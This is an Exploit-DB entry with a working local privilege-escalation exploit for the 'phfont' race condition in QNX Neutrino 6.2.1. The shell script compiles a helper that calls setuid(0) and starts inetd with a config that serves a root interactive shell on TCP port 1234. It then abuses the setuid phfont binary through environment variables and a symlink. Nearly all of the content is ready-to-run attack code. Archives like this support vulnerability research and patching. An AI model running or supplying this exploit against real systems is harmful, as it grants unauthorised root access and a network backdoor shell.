QNX Neutrino 6.2.1 - 'phfont' Race Condition Privilege Escalation

EDB-ID:

1479

Author:

kokanin

Type:

local

Platform:

QNX

Published:

2006-02-08

#!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
# 4123428723      30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86 
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root  /bin/sh       sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
} 
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*

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